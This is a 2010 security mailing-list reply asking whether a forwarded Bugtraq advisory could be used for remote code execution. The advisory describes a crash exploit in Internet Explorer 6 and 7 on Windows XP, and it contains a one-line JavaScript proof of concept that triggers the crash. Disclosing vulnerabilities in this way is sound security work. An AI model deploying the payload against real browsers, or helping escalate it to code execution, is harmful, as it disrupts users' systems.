Hi, Can this exploit be used for remote code execution??? -Santhosh -----Original Message----- From: info@xxxxxxxxxxxxxx [mailto:info@xxxxxxxxxxxxxx] Sent: Tuesday, January 26, 2010 5:06 PM To: bugtraq@xxxxxxxxxxxxxxxxx Subject: Microsoft IE 6&7 Crash Exploit ################################################################# # Securitylab.ir ################################################################# # Application Info: # Name: Microsoft IE # Version: 6 & 7 # Tested on : XP(SP1/SP2/SP3) ################################################################# # Vulnerability Info: # Type: Crash # Risk: Medium ################################################################# Vulnerability: IE.html <script>document.createElement("html").outerHTML</script> ################################################################# # Discoverd By: Pouya Daneshmand # Website: http://securitylab.ir # Contacts: info[at]securitylab.ir & whh_iran@xxxxxxxxx ###################################################################